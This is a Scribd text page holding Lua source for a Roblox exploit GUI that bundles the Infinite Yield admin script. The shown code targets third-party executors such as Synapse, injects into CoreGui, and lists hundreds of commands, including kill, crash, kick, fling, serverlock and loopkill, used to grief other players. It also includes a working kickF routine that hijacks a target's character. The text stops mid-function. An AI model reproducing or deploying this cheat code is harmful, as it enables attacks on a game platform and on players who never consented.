0% found this document useful (0 votes)
854 views

Roblox Admins Free Working

This document contains code for an admin GUI created with Roblox Studio. It defines instances like frames, buttons, and labels to build the GUI interface. It also includes code to load and save settings to a local file to maintain preferences between sessions. The GUI allows functions like noclip, infinite yield, and closing the interface.

Uploaded by

Crazy Soda
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
854 views

Roblox Admins Free Working

This document contains code for an admin GUI created with Roblox Studio. It defines instances like frames, buttons, and labels to build the GUI interface. It also includes code to load and save settings to a local file to maintain preferences between sessions. The GUI allows functions like noclip, infinite yield, and closing the interface.

Uploaded by

Crazy Soda
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 483

-- Farewell Infortality.

-- Version: 2.82
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Open = Instance.new("TextButton")
local Admin = Instance.new("Frame")
local Buty = Instance.new("Frame")
local Buty_2 = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local Promot = Instance.new("TextLabel")
local Admin_2 = Instance.new("TextButton")
local Games = Instance.new("TextButton")
local Close = Instance.new("TextButton")
local InfiniteYard = Instance.new("TextButton")
local Buty_3 = Instance.new("Frame")
local Options = Instance.new("TextLabel")
local Rocky2U = Instance.new("TextButton")
local Reviz = Instance.new("TextButton")
local N3xulis = Instance.new("TextButton")
local Prison = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.CoreGui
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

Open.Name = "Open"
Open.Parent = ScreenGui
Open.BackgroundColor3 = Color3.new(1, 0, 0)
Open.Position = UDim2.new(0.0247831475, 0, 0.497153699, 0)
Open.Size = UDim2.new(0, 139, 0, 38)
Open.Font = Enum.Font.Cartoon
Open.Text = "Open"
Open.TextColor3 = Color3.new(0, 0, 0)
Open.TextSize = 30
Open.MouseButton1Down:connect(function()
Open.Visible = false
Admin.Visible = true
end)

Admin.Name = "Admin"
Admin.Parent = ScreenGui
Admin.BackgroundColor3 = Color3.new(1, 0, 0)
Admin.Position = UDim2.new(0.281288743, 0, 0.174573049, 0)
Admin.Size = UDim2.new(0, 352, 0, 342)
Admin.Visible = false

Buty.Name = "Buty"
Buty.Parent = Admin
Buty.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Buty.Size = UDim2.new(0, 352, 0, 32)

Buty_2.Name = "Buty"
Buty_2.Parent = Admin
Buty_2.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Buty_2.Position = UDim2.new(0, 0, 0.906432748, 0)
Buty_2.Size = UDim2.new(0, 352, 0, 32)

Title.Name = "Title"
Title.Parent = Admin
Title.BackgroundColor3 = Color3.new(1, 1, 1)
Title.BackgroundTransparency = 1
Title.Position = UDim2.new(-0.0198863633, 0, 0, 0)
Title.Size = UDim2.new(0, 352, 0, 32)
Title.Font = Enum.Font.Cartoon
Title.Text = "Admin's GUI"
Title.TextColor3 = Color3.new(0, 0, 0)
Title.TextScaled = true
Title.TextSize = 14
Title.TextWrapped = true

Promot.Name = "Promot"
Promot.Parent = Admin
Promot.BackgroundColor3 = Color3.new(1, 1, 1)
Promot.BackgroundTransparency = 1
Promot.Position = UDim2.new(0, 0, 0.906432748, 0)
Promot.Size = UDim2.new(0, 352, 0, 32)
Promot.Font = Enum.Font.Cartoon
Promot.Text = "Sub To - youtube.com/alexplayzyoutube"
Promot.TextColor3 = Color3.new(0, 0, 0)
Promot.TextScaled = true
Promot.TextSize = 14
Promot.TextWrapped = true

Admin_2.Name = "Admin"
Admin_2.Parent = Admin
Admin_2.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Admin_2.Position = UDim2.new(0, 0, 0.0935672522, 0)
Admin_2.Size = UDim2.new(0, 174, 0, 46)
Admin_2.Font = Enum.Font.Cartoon
Admin_2.Text = "Admin's"
Admin_2.TextColor3 = Color3.new(0, 0, 0)
Admin_2.TextScaled = true
Admin_2.TextSize = 14
Admin_2.TextWrapped = true

Games.Name = "Games"
Games.Parent = Admin
Games.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Games.Position = UDim2.new(0.494318187, 0, 0.0935672522, 0)
Games.Size = UDim2.new(0, 178, 0, 46)
Games.Font = Enum.Font.Cartoon
Games.Text = "Game's"
Games.TextColor3 = Color3.new(0, 0, 0)
Games.TextScaled = true
Games.TextSize = 14
Games.TextWrapped = true

Close.Name = "Close"
Close.Parent = Admin
Close.BackgroundColor3 = Color3.new(1, 0, 0)
Close.Position = UDim2.new(0.872159004, 0, 0, 0)
Close.Size = UDim2.new(0, 45, 0, 32)
Close.Font = Enum.Font.Cartoon
Close.Text = "X"
Close.TextColor3 = Color3.new(0, 0, 0)
Close.TextScaled = true
Close.TextSize = 14
Close.TextWrapped = true
Close.MouseButton1Down:connect(function()
Admin.Visible = false
Open.Visible = true
end)

InfiniteYard.Name = "Infinite Yard"


InfiniteYard.Parent = Admin
InfiniteYard.BackgroundColor3 = Color3.new(0.666667, 0, 0)
InfiniteYard.Position = UDim2.new(0.0369318165, 0, 0.362573057, 0)
InfiniteYard.Size = UDim2.new(0, 147, 0, 39)
InfiniteYard.Font = Enum.Font.Cartoon
InfiniteYard.Text = "Infinite Yield"
InfiniteYard.TextColor3 = Color3.new(0, 0, 0)
InfiniteYard.TextScaled = true
InfiniteYard.TextSize = 14
InfiniteYard.TextWrapped = true
InfiniteYard.MouseButton1Down:connect(function()
---------------------------------------------------------------
---------------------------------------------------------------
-- _____ __ _ _ _ __ ___ _ _ --
-- |_ _| / _(_) (_) | \ \ / (_) | | | | --
-- | | _ __ | |_ _ _ __ _| |_ ___ \ V / _ ___| | __| | --
-- | || '_ \| _| | '_ \| | __/ _ \ \ / | |/ _ \ |/ _` | --
-- _| || | | | | | | | | | | || __/ | | | | __/ | (_| | --
-- \___/_| |_|_| |_|_| |_|_|\__\___| \_/ |_|\___|_|\__,_| --
-- --
---------------------------------------------------------------
---------------------------Edge-Moon---------------------------
---------------------------------------------------------------

local Version = '9.5.3'


HttpService = game:GetService("HttpService")
SAVEFILE = {
colorR = 0.121569;
colorG = 0.121569;
colorB = 0.121569;
cmdprefix = ';';
suggestionstoggle = true;
allowfriends = true;
JLnotify = true;
Mseconds = '7';
Nfriends = true;
cmdbarbind = ';';
chatsV = false;
whispersV = false;
commandsV = false;
aliasSave = {}
}
defaults = HttpService:JSONEncode(SAVEFILE)

function writefileExploit() if is_protosmasher_caller ~= nil or elysianexecute ~=


nil or Synapse ~= nil then return true end end

loaded = false
function run()
local function writeF()
writefile("IY.txt", defaults)
wait(1)
local newjson = readfile("IY.txt")
local CREATEFILE = HttpService:JSONDecode(newjson)
colorR = CREATEFILE.colorR
colorG = CREATEFILE.colorG
colorB = CREATEFILE.colorB
cmdprefix = CREATEFILE.cmdprefix
suggestionstoggle = CREATEFILE.suggestionstoggle
allowfriends = CREATEFILE.allowfriends
JLnotify = CREATEFILE.JLnotify
Mseconds = CREATEFILE.Mseconds
Nfriends = CREATEFILE.Nfriends
cmdbarbind = CREATEFILE.cmdbarbind
chatsV = CREATEFILE.chatsV
whispersV = CREATEFILE.whispersV
commandsV = CREATEFILE.commandsV
aliasSave = CREATEFILE.aliasSave
loaded = true end
function pcWRITE()
local file, err = pcall(writeF)
if not file then
warn("READ/WRITE ERROR: "..err)
R_W = game:GetObjects("rbxassetid://01587976911")[1] R_W.Parent = game.CoreGui
function Click(mouse) R_W:Destroy()
for _, child in pairs(game.CoreGui:GetChildren()) do
if child.Name == "IYrun" then
child:Destroy() end end end
R_W.drag.PromptDialog.shadow.Exit.MouseButton1Down:connect(Click) end end
if writefileExploit() then
local function sfile()
local checktxt = readfile("IY.txt")
if checktxt == nil then pcWRITE() writeF()
else return end end
local success, message2 = pcall(sfile)
if success then
local json = readfile("IY.txt")
local LOADFILE = HttpService:JSONDecode(json)
colorR = LOADFILE.colorR
colorG = LOADFILE.colorG
colorB = LOADFILE.colorB
cmdprefix = LOADFILE.cmdprefix
suggestionstoggle = LOADFILE.suggestionstoggle
allowfriends = LOADFILE.allowfriends
JLnotify = LOADFILE.JLnotify
Mseconds = LOADFILE.Mseconds
Nfriends = LOADFILE.Nfriends
cmdbarbind = LOADFILE.cmdbarbind
chatsV = LOADFILE.chatsV
whispersV = LOADFILE.whispersV
commandsV = LOADFILE.commandsV
aliasSave = LOADFILE.aliasSave
loaded = true else
pcWRITE() writeF() end
else
colorR = 0.121569
colorG = 0.121569
colorB = 0.121569
cmdprefix = ';'
suggestionstoggle = true
allowfriends = true
JLnotify = true
Mseconds = '7'
Nfriends = true
cmdbarbind = ';'
chatsV = false
whispersV = false
commandsV = false
aliasSave = {}
loaded = true
end
repeat wait() until loaded == true
local gCoreGui = game:GetService('CoreGui') local gPlayers =
game:GetService('Players') local gLighting = game:GetService('Lighting') local
Player = gPlayers.LocalPlayer
local Mouse = Player:GetMouse() local char = Player.Character local LP =
gPlayers.LocalPlayer local gPlayers = game:GetService("Players") local _players =
game:GetService('Players') MSGhook = false local services={} local cmds={}
local std={} local loopkillT = {} local rainbowT = {} local disabletoolsT = {}
local banT = {} local adminT = {} function FIND_CHILD(PATH, NAME) if
PATH:FindFirstChild(NAME) then return true end return false end
services.events = {} local user = gPlayers.LocalPlayer local bringT = {} agelock =
nil isagelocked = false local scriptprefix='\\'
local split=" " slock = false
function updatefile()
if writefileExploit() then
local update = {
colorR = colorR;
colorG = colorG;
colorB = colorB;
cmdprefix = cmdprefix;
suggestionstoggle = suggestionstoggle;
allowfriends = allowfriends;
JLnotify = JLnotify;
Mseconds = Mseconds;
Nfriends = Nfriends;
cmdbarbind = cmdbarbind;
chatsV = chatsV;
whispersV = whispersV;
commandsV = commandsV;
aliasSave = aliasSave
}
local updated = HttpService:JSONEncode(update)
wait(0.1)
writefile("IY.txt", updated) end end
function isNumber(str)
return tonumber(str) ~= nil end
function msghook()
for _, child in pairs( workspace:GetChildren()) do
if MSGhook == false and child.ClassName == "Message" and child.Name ~= "IYmessage"
then
child.Name = "IYmessage" child.Text = '' MSGhook = true end end
if workspace:FindFirstChild("IYmessage") then MSGhook = true
else MSGhook = false end end
game:GetService("RunService").RenderStepped:Connect(function()
game:GetService("GuiService"):SetGlobalGuiInset(0,72,0,0)
if r15noclip then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(11) end end
if LP.Character and LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid.Died:connect(function() FLYING = false end)
if MSGhook == true and workspace:FindFirstChild("IYmessage") then
if workspace.IYmessage.Text == '' then
for _, child in pairs( LightingService:GetChildren()) do
if child.Name == "IYmblur" then
child:Destroy() end end end
else MSGhook = false end
for i,v in pairs(_players:GetPlayers()) do
if FindTable(loopkillT, v.Name) then
v.Character:BreakJoints() end
if FindTable(disabletoolsT, v.Name) and v:FindFirstChild('Backpack')
then
v.Backpack:Destroy()
for i,n in pairs(v.Character:GetChildren()) do
if n:IsA('Tool') or n:IsA('HopperBin') then
n:destroy() end end end
if FindTable(rainbowT, v.Name) then
v.Neutral = false
v.TeamColor = BrickColor.random()
end end end end)
LightingService = game:GetService("Lighting")
origsettings = {abt = LightingService.Ambient, oabt =
LightingService.OutdoorAmbient, brt = LightingService.Brightness, time =
LightingService.TimeOfDay, fclr = LightingService.FogColor, fe =
LightingService.FogEnd, fs = LightingService.FogStart}
function lponly(player) game:GetService('Chat'):Chat(player.Character, 'That is a
LocalPlayer only command!', 2) end
function FindTable(Table, Name)
for i,v in pairs(Table) do
if v == Name then
return true
end end
return false
end
function GetInTable(Table, Name)
for i = 1, #Table do
if Table[i] == Name then
return i
end end
return false end
_players.PlayerRemoving:connect(function(player)
for a,b in pairs(injail) do if b == player.Name then table.remove(injail, a)
workspace["JAIL_" .. player.Name]:Destroy() end end
for a,b in pairs(hastab) do if b == player.Name then table.remove(hastab, a)
workspace[player.Name .. "TAB"]:Destroy() end end
if JLnotify == true and Nfriends == true and player:IsFriendsWith(user.userId) then
game:FindService('StarterGui'):SetCore('SendNotification', {
Title = player.Name,
Text = 'has left the server.\n[AGE: ' ..player.AccountAge..
']',
Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?
x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] ..
math.random(1,100000000),
Duration = 5,
})
elseif JLnotify == true and Nfriends == false then
game:FindService('StarterGui'):SetCore('SendNotification', {
Title = player.Name,
Text = 'has left the server.\n[AGE: ' ..player.AccountAge..
']',
Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?
x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] ..
math.random(1,100000000),
Duration = 5,
})
end
end)
FLYING = false
iyflyspeed = 1
function sFLY() -- from rocky2u cmdscript
repeat wait() until LP and LP.Character and
LP.Character:FindFirstChild('HumanoidRootPart') and
LP.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse

local T = LP.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = 0

local function FLY()


FLYING = true
local BG = Instance.new('BodyGyro', T)
local BV = Instance.new('BodyVelocity', T)
BG.P = 9e4
BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
BG.cframe = T.CFrame
BV.velocity = Vector3.new(0, 0.1, 0)
BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
spawn(function()
repeat wait()
LP.Character.Humanoid.PlatformStand = true
if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0)
and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F +
CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L +
CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0
then
BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F +
lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L +
lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) -
workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
else
BV.velocity = Vector3.new(0, 0.1, 0)
end
BG.cframe = workspace.CurrentCamera.CoordinateFrame
until not FLYING
CONTROL = {F = 0, B = 0, L = 0, R = 0}
lCONTROL = {F = 0, B = 0, L = 0, R = 0}
SPEED = 0
BG:destroy()
BV:destroy()
LP.Character.Humanoid.PlatformStand = false
end)
end
Mouse.KeyDown:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = iyflyspeed
elseif KEY:lower() == 's' then
CONTROL.B = -iyflyspeed
elseif KEY:lower() == 'a' then
CONTROL.L = -iyflyspeed
elseif KEY:lower() == 'd' then
CONTROL.R = iyflyspeed
end
end)
Mouse.KeyUp:connect(function(KEY)
if KEY:lower() == 'w' then
CONTROL.F = 0
elseif KEY:lower() == 's' then
CONTROL.B = 0
elseif KEY:lower() == 'a' then
CONTROL.L = 0
elseif KEY:lower() == 'd' then
CONTROL.R = 0
end
end)
FLY()
end
function NOFLY()
FLYING = false
LP.Character.Humanoid.PlatformStand = false
end
HK = {
'-HOTKEYS-',
'HOLD F2 - Click TP',
'F4 - Toggle Fly',
'F5 - Toggle Noclip',
'-COMMANDS-'
}
CMDs = {
'addalias [cmd] [alias]',
'addstat [plr] [text]',
'admins',
'admin [plr]',
'agelock [age num]',
'addban [full username]',
'age [plr]',
'aliases',
'alien / ayylmao [plr]',
'ambient [R G B]',
'anchor',
'animation [plr] [anim]',
'arrest [plr]',
'bait',
'ball [plr]',
'bang [plr] [plr] / bang [plr]',
'bans',
'ban [plr]',
'base',
'begone / thot [plr]',
'bgui [plr] [text]',
'blackandwhite',
'bleach [plr]',
'blackify [plr]',
'blind [plr]',
'blur [num]',
'bomb [plr]',
'box [plr]',
'breakloops/break (cmd loops)',
'brightness [num]',
'bring [plr]',
'btools [plr]',
'burn [plr]',
'cape [plr] [R G B]',
'car [plr]',
'change [plr] [stat] [num]',
'charplr / cp [plr] [plr]',
'char [plr] [ID]',
'chat [plr] [msg]',
'chickenarms / chicken [plr]',
'clear',
'clip',
'clone [plr]',
'clraliases',
'clrbans',
'clrterrain',
'cmds',
'confuse [plr]',
'control [plr]',
'copytools / ctools [plr]',
'countdown [num]',
'crash [plr]',
'creeper [plr]',
'cripple [plr]',
'crucify [plr]',
'damage [plr]',
'dance [plr]',
'day',
'decalspam [ID]',
'deleteclass / dc [class name]',
'deletepos / dpos [name]',
'delete [part name]',
'devuzi',
'disablereset [plr]',
'disabletools [plr]',
'disable [plr]',
'disco',
'discomesh [plr]',
'distortsound / distort [num]',
'dog [plr]',
'dong [plr]',
'draw',
'duck [plr]',
'dummy [name]',
'earthquake [power] [intensity]',
'enablereset [plr]',
'enabletools [plr]',
'enable [plr]',
'esp [plr]',
'exit',
'explode [plr]',
'explorer / dex',
'f3x',
'face [plr] [ID]',
'fart [plr]',
'fat [plr]',
'fegod',
'feinvisible / feinvis',
'fekill [plr] (need a tool)',
'ff [plr]',
'filtering',
'fire [plr] [R G B]',
'firstp [plr]',
'fix',
'fixcam',
'fixlighting / fixl',
'flashlight [plr]',
'fling [plr]',
'float [plr]',
'flood',
'fly',
'flyspeed [num]',
'fogcolor [R G B]',
'fogend [num]',
'freecam / fc',
'freecamspeed / fcspeed [num]',
'freeze / fr [plr]',
'ghost [plr]',
'glass [plr]',
'globalshadows / gshadows',
'glowstick [plr] [R G B]',
'god [plr]',
'goto [plr]',
'gravity [num]',
'hang [plr]',
'hatsize [plr] [num]',
'hat [plr] [ID]',
'headshake [plr]',
'headsize [plr] [num]',
'heal [plr]',
'hidename [plr]',
'hideplaylist / hideplayer',
'hipheight / hheight [plr] [num]',
'hub',
'infect [plr]',
'insert [ID/name]',
'invert',
'invisible / invis [plr]',
'invisibleff / invisff [plr]',
'iyspam',
'jail [plr]',
'jumppower / jpower [plr] [num]',
'jump [plr]',
'keeptools / ktools [plr]',
'keybind [key] [cmd]',
'kick [plr]',
'kidnap [plr]',
'kill [plr]',
'knife',
'knuckles [plr]',
'light [plr] [R G B]',
'loadm',
'loadmap [ID]',
'loadpos / lpos [plr] [name]',
'lockws',
'lock [plr]',
'logs',
'longneck [plr]',
'loopbring [plr]',
'loopheal [plr]',
'loopjump / ljump [plr]',
'loopkill [plr]',
'loopname / lname [plr]',
'loopoof',
'loopsit / lsit [plr]',
'mage',
'maxhealth [plr] [num]',
'maxzoom [plr] [num]',
'mesh [plr] [mesh] [texture]',
'message / m [msg]',
'meteor/asteroid [plr]',
'naked [plr]',
'name [plr]',
'neon [plr]',
'nextsong',
'night',
'nil [plr]',
'noarms [plr]',
'nobox [plr]',
'noclip',
'noclones [plr]',
'nodong [plr]',
'nodummies',
'noesp [plr]',
'noglobalshadows / nogshadows',
'nokeeptools / noktools [plr]',
'nolimbs [plr]',
'nooutlines',
'noparticles [plr]',
'noplrsound [plr]',
'norain',
'notools [plr]',
'nuke [plr]',
'os [plr]',
'offset [plr] [coordinate]',
'outlines',
'paper [plr]',
'partdisco',
'particles [plr] [ID]',
'pipetp [plr] [plr]',
'pitch [num]',
'playhash / hash [hash]',
'playlist / player [ID],[ID]...',
'plrsound [plr] [ID]',
'positions / pos',
'prefix [string]',
'prevsong',
'punish [plr]',
'rainbowname [plr]',
'rainbow [plr]',
'rain [mesh] [texture]',
'refresh / re [plr]',
'rejoin',
'remotespy',
'removealias [alias]',
'removebait / nobait',
'rgui',
'removehats / rhats [plr]',
'removespawns',
'respawn [plr]',
'restoremap / rmap',
'rocket [plr]',
'savelighting / slighting',
'savemap / smap',
'savepos / spos [name]',
'script [script]',
'seagull / gull [plr]',
'seizure [plr]',
'serverinfo / info',
'serverlock / slock',
'servermessage / sm [msg]',
'sethealth [plr] [num]',
'setsong [num]',
'settings',
'sgod [plr]',
'shiny [plr]',
'shrek [plr]',
'shutdown',
'sit [plr]',
'size [plr] [num]',
'skydive [plr]',
'skygif [ID],[ID]... [interval]',
'sky [ID]',
'smite [plr]',
'smoke [plr]',
'sound / music [ID/name]',
'sparkles / sp [plr] [R G B]',
'spasm [plr]',
'spawnpoint [plr]',
'spectate / view [plr]',
'speed / ws [plr] [num]',
'sphere [plr]',
'spin [plr]',
'spookyify',
'starman [plr]',
'strength [plr]',
'strobe',
'stun [plr]',
'sun [intense] [spread]',
'sword [plr]',
'tablet',
'team [plr] [team]',
'terrain',
'thaw / unfr [plr]',
'thirdp [plr]',
'time [num]',
'tools [plr]',
'torso [plr]',
'tppos [plr] [coordinate]',
'tp [plr] [plr]',
'trail [plr] [R G B]',
'trip [plr]',
'unadmin [plr]',
'unagelock',
'unanchor',
'unball [plr]',
'unban [plr]',
'unbgui [plr]',
'unblind [plr]',
'unblur',
'uncape [plr]',
'uncar [plr]',
'unchar [plr]',
'unconfuse [plr]',
'uncreeper [plr]',
'uncripple [plr]',
'undecalspam',
'undisco',
'undog [plr]',
'unduck [plr]',
'unff [plr]',
'unfire [plr]',
'unfloat [plr]',
'unfly',
'unfreecam / unfc',
'unghost [plr]',
'ungod [plr]',
'unhidename [plr]',
'uninfect [plr]',
'unjail [plr]',
'unkeybind [key]',
'unlight [plr]',
'unlockws',
'unlock [plr]',
'unlongneck [plr]',
'unloopbring [plr]',
'unloopheal [plr]',
'unloopjump / unljump [plr]',
'unloopkill [plr]',
'unloopname / unlname [plr]',
'unloopoof',
'unloopsit / unlsit [plr]',
'unname [plr]',
'unpartdisco',
'unpunish [plr]',
'unrainbowname [plr]',
'unseizure [plr]',
'unserverlock / unslock',
'unshrek [plr]',
'unskygif',
'unsmoke [plr]',
'unsparkles / unsp [plr]',
'unspectate / unview',
'unsphere [plr]',
'unspin [plr]',
'unstarman [plr]',
'unstrength [plr]',
'unstrobe',
'unstun [plr]',
'untrail [plr]',
'unweaken [plr]',
'version',
'visible / vis [plr]',
'volume / vol [num]',
'weaken [plr]',
'whiteify [plr]',
'zinnia [plr]'
}
function updateevents(player) local C = player.Chatted:connect(function(M) if
isAdmin(player) then do_exec(M, player) end end) table.insert(services.events, C)
end

std.inTable=function(tbl,val)
if tbl==nil then return false end

for _,v in pairs(tbl)do


if v==val then return true end
end
return false
end
std.out=function(str)
print(str)
end
std.list=function(tbl)
local str=''
for i,v in pairs(tbl)do
str=str..tostring(v)
if i~=#tbl then str=str..', ' end
end
return str
end
std.endat=function(str,val)
local z=str:find(val)
if z then
return str:sub(0,z-string.len(val)),true
else
return str,false
end
end
std.first=function(str) return str:sub(1,1) end

function isAdmin(name) if FindTable(adminT, name.userId) then return true elseif


name.userId == LP.userId then return true end end

local exec=function(str)
spawn(function()
local script, loaderr = loadstring(str)
if not script then
error(loaderr)
else
script()
end
end)
end
local findCmd=function(cmd_name)
for i,v in pairs(cmds)do
if v.NAME:lower()==cmd_name:lower() or
std.inTable(v.ALIAS,cmd_name:lower())then
return v
end
end
end
local getCmd=function(msg)
local cmd,hassplit=std.endat(msg:lower(),split)
if hassplit then
return {cmd,true}
else
return {cmd,false}
end
end
local getprfx=function(strn)
if strn:sub(1,string.len(cmdprefix))==cmdprefix then
return{'cmd',string.len(cmdprefix)+1}
elseif strn:sub(1,string.len(scriptprefix))==scriptprefix then
return{'exec',string.len(scriptprefix)+1}
end return
end
function dragGUI(gui)
spawn(function()
local UserInputService = game:GetService("UserInputService")
local dragging
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
gui:TweenPosition(UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y), "InOut", "Quart", 0.04, true, nil)
end
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position

input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end)
end
maincolor = Color3.new(colorR, colorG, colorB)
function updatecolors(color)
colorR = maincolor.r colorG = maincolor.g colorB = maincolor.b
maincolor = color
for _, child in pairs( game.CoreGui.RobloxGui:GetChildren()) do
if child.Name == "TopBarContainer" then
child.BackgroundColor3 = color
end end
FeedbackMain.BackgroundColor3 = maincolor
MAIN.BackgroundColor3 = maincolor
bar.BackgroundColor3 = maincolor
game.CoreGui.sugg.suggestions.BackgroundColor3 = color
if game.CoreGui:FindFirstChild('Updates') then
game.CoreGui.Updates.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Updates.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Sinfo') then
game.CoreGui.Sinfo.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Sinfo.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('cp') then
game.CoreGui.cp.Frame.holder.bar.BackgroundColor3 = color
game.CoreGui.cp.Frame.holder.FeedbackMain.BackgroundColor3 = color
game.CoreGui.cp.Frame.holder.size.MAIN.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Bans') then
game.CoreGui.Bans.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Bans.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Pos') then
game.CoreGui.Pos.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Pos.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Admins') then
game.CoreGui.Admins.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Admins.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Logs') then
game.CoreGui.Logs.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Logs.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Aliases') then
game.CoreGui.Aliases.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Aliases.drag.PromptDialog.shadow.BackgroundColor3 = color end
for _, child in pairs( game.CoreGui:GetChildren()) do
if child.Name == "Models" then
game.CoreGui.Models.drag.PromptDialog.ContainerFrame.BackgroundColor3 =
color
game.CoreGui.Models.drag.PromptDialog.shadow.BackgroundColor3 = color
end
end
for _, child in pairs( game.CoreGui:GetChildren()) do
if child.Name == "Audios" then
game.CoreGui.Audios.drag.PromptDialog.ContainerFrame.BackgroundColor3 =
color
game.CoreGui.Audios.drag.PromptDialog.shadow.BackgroundColor3 = color
end
end
end

function respawn(plr)
local M = Instance.new('Model', workspace) M.Name = 'respawn_iy'
local H = Instance.new('Humanoid', M)
local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false
T.Transparency = 1
plr.Character = M end

local dummy =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://1498924930")
WL =
{'IoIman616','Conceptual_Nullifier','Thomasbudge','N3xuI','MoonlightTears','Desired
Username1233','marie',LP.Name}
function kickF(plr)
spawn(function()
if plr.Parent ~= nil then
if FindTable(WL, plr.Name) then Notify('Error: '..plr.Name..' is whitelisted') else
local newChar = dummy:Clone() newChar.Parent = workspace
newChar.HumanoidRootPart.Position = Vector3.new(math.random(999000, 1001000),
10000, 0)
for i = 1,4 do
local Plat = Instance.new('SkateboardPlatform', newChar)
Plat.Position = newChar.HumanoidRootPart.Position
Plat.Name = 'IYplat'
Plat.Size = Vector3.new(10, 1.2, 10)
Plat.Transparency = 1 end
plr.Character = newChar
local PART = Instance.new('Part', newChar)
PART.CFrame = newChar.HumanoidRootPart.CFrame - Vector3.new(0, 3, 0)
PART.Size = Vector3.new(10, 1.2, 10)
PART.Anchored = true
PART.Transparency = 1
if newChar:FindFirstChild("SkateboardPlatform") then
newChar.SkateboardPlatform.CFrame = newChar.HumanoidRootPart.CFrame end
wait(0.4)
if newChar then newChar:Destroy() end
kickF(plr) end
end end) end

function refresh(plr)
spawn(function()
local rpos = plr.Character.HumanoidRootPart.Position
wait(0.1) plr.Character:Destroy() respawn(plr) wait(0.1)
repeat wait() until plr.Character ~= nil and
plr.Character:FindFirstChild('HumanoidRootPart')
plr.Character:MoveTo(rpos) end) end

function getArgs(str) local A = {} local NA = nil local HS = nil local S = str


repeat NA, HS = std.endat(S:lower(), split) if NA ~= '' then table.insert(A, NA) S
= S:sub(string.len(NA) + string.len(split) + 1) end until not HS return A end
function getCapArgs(str) local A = {} local NA = nil local HS = nil local S = str
repeat NA, HS = std.endat(S, split) if NA ~= '' then table.insert(A, NA) S =
S:sub(string.len(NA) + string.len(split) + 1) end until not HS return A end
_players.PlayerAdded:connect(function(player)
if JLnotify == true and Nfriends == true and player:IsFriendsWith(user.userId) then
